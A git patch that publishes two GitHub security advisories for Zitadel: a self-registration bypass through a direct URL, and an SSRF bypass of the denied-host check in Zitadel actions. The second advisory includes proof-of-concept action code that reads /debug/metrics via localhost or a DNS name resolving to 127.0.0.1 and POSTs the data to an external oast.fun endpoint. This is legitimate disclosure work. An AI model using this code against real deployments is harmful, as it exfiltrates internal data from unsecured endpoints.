From 8a742460bf3ac79c918df8403eb9de9f787fa4d9 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Fri, 25 Oct 2024 19:30:41 +0000 Subject: [PATCH] Publish Advisories GHSA-3rmw-76m6-4gjc GHSA-6cf5-w9h3-4rqv --- .../GHSA-3rmw-76m6-4gjc.json | 184 ++++++++++++++++ .../GHSA-6cf5-w9h3-4rqv.json | 206 ++++++++++++++++++ 2 files changed, 390 insertions(+) create mode 100644 advisories/github-reviewed/2024/10/GHSA-3rmw-76m6-4gjc/GHSA-3rmw-76m6-4gjc.json create mode 100644 advisories/github-reviewed/2024/10/GHSA-6cf5-w9h3-4rqv/GHSA-6cf5-w9h3-4rqv.json diff --git a/advisories/github-reviewed/2024/10/GHSA-3rmw-76m6-4gjc/GHSA-3rmw-76m6-4gjc.json b/advisories/github-reviewed/2024/10/GHSA-3rmw-76m6-4gjc/GHSA-3rmw-76m6-4gjc.json new file mode 100644 index 00000000000..7b10f5ab9cf --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-3rmw-76m6-4gjc/GHSA-3rmw-76m6-4gjc.json @@ -0,0 +1,184 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-3rmw-76m6-4gjc", + "modified": "2024-10-25T19:30:14Z", + "published": "2024-10-25T19:30:14Z", + "aliases": [ + "CVE-2024-49757" + ], + "summary": "User Registration Bypass in Zitadel", + "details": "### Impact\nZitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.63.4, disabling the \"User Registration allowed\" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way.\n\n### Patches\n\n2.x versions are fixed on >= [2.64.0](https://github.com/zitadel/zitadel/releases/tag/v2.64.0)\n2.63.x versions are fixed on >= [2.63.5](https://github.com/zitadel/zitadel/releases/tag/v2.63.5)\n2.62.x versions are fixed on >= [2.62.7](https://github.com/zitadel/zitadel/releases/tag/v2.62.7)\n2.61.x versions are fixed on >= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on >= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on >= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on >= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n### Workarounds\nUpdating to the patched version is the recommended solution.\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\nThanks to @sevensolutions and @evilgensec for disclosing this!\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.63.0" + }, + { + "fixed": "2.63.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.62.0" + }, + { + "fixed": "2.62.7" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.61.0" + }, + { + "fixed": "2.61.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.60.0" + }, + { + "fixed": "2.60.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.59.0" + }, + { + "fixed": "2.59.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.58.7" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-3rmw-76m6-4gjc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49757" + }, + { + "type": "PACKAGE", + "url": "https://github.com/zitadel/zitadel" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.58.7" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.59.5" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.60.4" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.61.4" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.62.7" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.63.5" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.64.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-10-25T19:30:14Z", + "nvd_published_at": "2024-10-25T15:15:18Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/10/GHSA-6cf5-w9h3-4rqv/GHSA-6cf5-w9h3-4rqv.json b/advisories/github-reviewed/2024/10/GHSA-6cf5-w9h3-4rqv/GHSA-6cf5-w9h3-4rqv.json new file mode 100644 index 00000000000..4f1ec90a78a --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-6cf5-w9h3-4rqv/GHSA-6cf5-w9h3-4rqv.json @@ -0,0 +1,206 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6cf5-w9h3-4rqv", + "modified": "2024-10-25T19:29:21Z", + "published": "2024-10-25T19:29:20Z", + "aliases": [ + "CVE-2024-49753" + ], + "summary": "Denied Host Validation Bypass in Zitadel Actions", + "details": "### Summary\nA flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.\n\n### Details\nWhile attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.\n\"image\"\n\nThe relevant action code demonstrates the attempted request to 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n var user = http.fetch('http://127.0.0.1:8080/debug/metrics');\n\n var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n method: 'POST',\n headers: {\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n 'data': user,\n }),\n });\n logger.log(api_r.body);\n}\n```\n\nBy creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.\n![image](https://github.com/user-attachments/assets/d1544a7c-684a-485c-8857-eb846ba946b7)\n\nThe modified action code uses the custom domain instead of 127.0.0.1:\n```\nlet http = require('zitadel/http')\nlet logger = require(\"zitadel/log\")\nfunction make_api_call(ctx, api) {\n var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');\n\n var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {\n method: 'POST',\n headers: {\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n 'user': user,\n }),\n });\n logger.log(api_r.body);\n}\n```\n\n![image](https://github.com/user-attachments/assets/5a1c720b-fdda-4e7a-b0e0-ec29bff6690e)\n\nThis demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.\n![image](https://github.com/user-attachments/assets/c8e6abe4-5d2c-48d9-ba0f-dacae38ba0be)\n\n## Impact\n\nThis vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.\n## Patches\n\n2.x versions are fixed on >= [2.64.1](https://github.com/zitadel/zitadel/releases/tag/v2.64.1)\n2.63.x versions are fixed on >= [2.63.6](https://github.com/zitadel/zitadel/releases/tag/v2.63.6)\n2.62.x versions are fixed on >= [2.62.8](https://github.com/zitadel/zitadel/releases/tag/v2.62.8)\n2.61.x versions are fixed on >= [2.61.4](https://github.com/zitadel/zitadel/releases/tag/v2.61.4)\n2.60.x versions are fixed on >= [2.60.4](https://github.com/zitadel/zitadel/releases/tag/v2.60.4)\n2.59.x versions are fixed on >= [2.59.5](https://github.com/zitadel/zitadel/releases/tag/v2.59.5)\n2.58.x versions are fixed on >= [2.58.7](https://github.com/zitadel/zitadel/releases/tag/v2.58.7)\n\n## Workarounds\n\nThere is no workaround since a patch is already available.\n\n## Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n## Credits\n\nThanks to @prdp1137 for reporting this!", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.64.0" + }, + { + "fixed": "2.64.1" + } + ] + } + ], + "versions": [ + "2.64.0" + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.63.0" + }, + { + "fixed": "2.63.6" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.62.0" + }, + { + "fixed": "2.62.8" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.61.0" + }, + { + "fixed": "2.61.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.60.0" + }, + { + "fixed": "2.60.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.59.0" + }, + { + "fixed": "2.59.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/zitadel/zitadel" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.58.7" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-6cf5-w9h3-4rqv" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49753" + }, + { + "type": "PACKAGE", + "url": "https://github.com/zitadel/zitadel" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.58.7" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.59.5" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.60.4" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.61.4" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.62.8" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.63.6" + }, + { + "type": "WEB", + "url": "https://github.com/zitadel/zitadel/releases/tag/v2.64.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-10-25T19:29:20Z", + "nvd_published_at": "2024-10-25T14:15:12Z" + } +} \ No newline at end of file